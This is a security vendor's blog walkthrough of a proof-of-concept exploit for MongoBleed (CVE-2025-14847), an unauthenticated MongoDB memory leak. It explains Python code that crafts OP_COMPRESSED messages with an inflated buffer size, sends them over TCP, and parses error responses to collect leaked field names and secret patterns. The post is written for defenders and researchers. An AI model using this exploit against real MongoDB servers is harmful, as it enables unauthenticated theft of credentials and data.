Breaking News: The Shai-Hulud npm Malware Returns With 320+ Affected Packages

PoC: Exploiting MongoBleed, CVE-2025-14847 | Technical Walkthrough

MongoBleed

How attackers abuse OP_COMPRESSED message handling to leak database secrets without authentication

On Christmas, a vulnerability in MongoDB, AKA the MongoBleed was exposed – allowing unauthenticated attackers to leak sensitive server memory.

In this follow-up, we provide a detailed technical walkthrough of the MongoBleed exploitation technique, building on the proof-of-concept published by Joe Desimone. This analysis is intended for security researchers and defenders who need to understand the attack mechanics to better protect their environments.

Read our full disclosure, recommendations and technical analysis of CVE-2025-14847 →

Exploit Overview

This exploit abuses MongoDB’s OP_COMPRESSED + OP_MSG handling by creating a mismatch between the claimed uncompressed size and the actual compressed payload. A minimal BSON document is wrapped inside an OP_MSG, compressed with zlib, and then embedded in an OP_COMPRESSED message where the buffer_size field is deliberately inflated (doc_len + 500). When MongoDB decompresses the message, it allocates a larger buffer than necessary and, due to the bug, treats uninitialized memory as valid input. By iterating over document lengths and observing MongoDB’s error responses, the exploit extracts leaked internal data – such as BSON field names and type identifiers – by parsing server‑generated error messages. These small leaks are aggregated across requests, enabling partial reconstruction of internal state without authentication or valid BSON parsing.

image

PoC

Details

We start by declaring the variable a = 1, with the value 1 represented as 4 bytes, preceded by the type byte \x10 and followed by a null terminator after the field name “a”.


content = b'\x10a\x00\x01\x00\x00\x00'

The bson document will start with a 4-byte length prefix (4-byte signed integer (int32) little endian) followed by the elements, which in our case is the “content” we just declared:

bson = struct.pack('<i', doc_len) + content

In order to send the payload, we will make use of OP_MSG which is  a type of wire protocol message used for communication between a MongoDB client and server.

We will set it with no special flags are set while using little endian unsigned 32-bit integer (4 bytes) – 00 00 00 00

op_msg = struct.pack('<I', 0)

Concatenating with b’\x00′ which represents the section type, which in our case Section type 0 will stand for a single BSON document.

Concatenating with BSON which is our actual BSON-encoded document.

Now, we are ready to compress those bytes:

compressed = zlib.compress(op_msg)

We will start with creating our payload while using little endian unsigned 32-bit integer (4 bytes)

with the opcode 2013 which stands for the OP_MSG in MongoDB.

payload = struct.pack('<I', 2013)

While the buffer_size stands for the size of the original uncompressed op_msg in bytes (which we can control)

payload += struct.pack('<i', buffer_size)

We will choose to trigger the vulnerability from the zlib compression by using the “2” compression type:

payload += struct.pack('B', 2)

And finally will concatenate the actual compressed message:

The key insight: buffer_size (claimed uncompressed size) is set to doc_len + 500, which is much larger than the actual compressed data. MongoDB allocates a buffer of this size, decompresses the small op_msg, but due to the bug, treats the entire buffer as valid data.

Then we will have to create the header:

header = struct.pack('<IIII', 16 + len(payload), 1, 0, 2012)

The header is always 16 bytes, so we will create 16 (header length) + len(payload)

1 stands for requestID – just a random chosen id

0 stands for a request since we are dealing with a request here

2012 stands for the opcode for OP_COMPRESSED indicating that the message body is compressed

The server will look at the payload, see the compression type (zlib = 2), decompress, and then process the original OP_MSG inside.

At this point, we are ready with a fully formed compressed MongoDB wire‑protocol message. We have constructed a minimal BSON document, embedded it inside an OP_MSG, and then wrapped that message inside an OP_COMPRESSED frame using zlib. Crucially, the buffer_size field intentionally overstates the original uncompressed size, causing the server to allocate a larger buffer than required during decompression. The final message includes a valid MongoDB header and a compressed payload that appears well‑formed at the protocol level, setting the stage for the server to decompress and process the inner OP_MSG – and thereby trigger the vulnerable code path.

Now, that we are ready, let’s create a new TCP socket:

We are setting the timeout and connecting to the host and port with:

sock.connect((host, port))

And now we are able to send all bytes of the message to the server with:

sock.sendall(header + payload)

We will initialize an empty bytes object to store the server’s response:

Then we will start reading the response with the while loop while reading the response length from:

  • Reads the first 4 bytes of the response
  • Converts them into an integer (message length)
  • Extracts that integer from the tuple
  • Result: messageLength as a normal Python int
while len(response) < 4 or len(response) < struct.unpack('<I', response[:4])[0]:

And we will start reading bytes:

This way we are sending our payload and reading the response.

We will move on to the function:

def extract_leaks(response)

At this point, response is expected to be:

  • a full MongoDB wire message
  • including header + body
  • possibly compressed

We first will check if the response len is valid since:

response[:4] → messageLength

response[12:16] → opcode

response[25:msg_len] → compressed payload start

So the function assumes:

  • At least a 16-byte MongoDB header
  • Plus:
    • 4 bytes: original opcode
    • 4 bytes: uncompressed size
    • 1 byte: compression type

 → 16 + 9 = 25 bytes

We will continue by Decompressing a compressed MongoDB response just the same values as were used to send the request:

msg_len = struct.unpack('<I', response[:4])[0]
        if struct.unpack('<I', response[12:16])[0] == 2012:
            raw = zlib.decompress(response[25:msg_len])
        else:
            raw = response[16:msg_len]

       

OffsetMeaning
0- 15MongoDB header
16 – 19original opcode (e.g. 2013 = OP_MSG)
20 – 23uncompressed size
24compression type
25start of compressed data

If not compressed we will start reading from 16 byte.

We will start to use regex in order to search for errors inside the mongo server responses:

for match in re.finditer(rb"field name '([^']*)'", raw):

It will match:

field name ‘username’

field name ‘password’

field name ‘very_internal_field_123’

We will also exclude known, uninteresting field names while using:

if data and data not in [b'?', b'a', b'$db', b'ping']:

We will also search for:

for match in re.finditer(rb"type (\d+)", raw):

This scans raw again, but for a different pattern.

  • This matches strings like:

type 16

type 2

type 127

type 255

So, the idea is:

image

We will start sending different document lengths while adding 500 bytes to the claimed uncompressed size:

 for doc_len in range(args.min_offset, args.max_offset):
        response = send_probe(args.host, args.port, doc_len, doc_len + 500)
        leaks = extract_leaks(response)

And will start saving the leaks:

 for data in leaks:
            if data not in unique_leaks:
                unique_leaks.add(data)
                all_leaked.extend(data)

 And we will start showing interesting leaks of over 10 bytes:

 if len(data) > 10:
                    preview = data[:80].decode('utf-8', errors='replace')
                    print(f"[+] offset={doc_len:4d} len={len(data):4d}: {preview}")

  And we will also show any secrets found:

  # Show any secrets found
    secrets = [b'password', b'secret', b'key', b'token', b'admin', b'AKIA']
    for s in secrets:
        if s.lower() in all_leaked.lower():
            print(f"[!] Found pattern: {s.decode()}")

 With the compressed message fully constructed, we establish a TCP connection to the MongoDB server, transmit the crafted payload, and read back the full wire‑protocol response based on the length field in the message header. This allows us to reliably capture complete server responses – whether compressed or uncompressed – and pass them into the leak‑extraction logic. By decompressing responses when necessary and scanning error messages for BSON field names and type identifiers, we can turn protocol‑level parsing failures into a controlled information disclosure primitive. Repeating this process across varying document lengths enables the gradual accumulation and correlation of leaked internal data, including potentially sensitive identifiers.

What can you do?

For more details about the origin of the vulnerability, and how to protect yourself, you can refer to our original blog.

Tags:

post banner image

Run Every Security Test Your Code Needs

Pinpoint, investigate and eliminate code-level issues across the entire SDLC.

GET A PERSONALIZED DEMO
Frame 2085668530

Subscribe to Our Newsletter

Stay updated with the latest SaaS insights, tips, and news delivered straight to your inbox.

Security Starts at the Source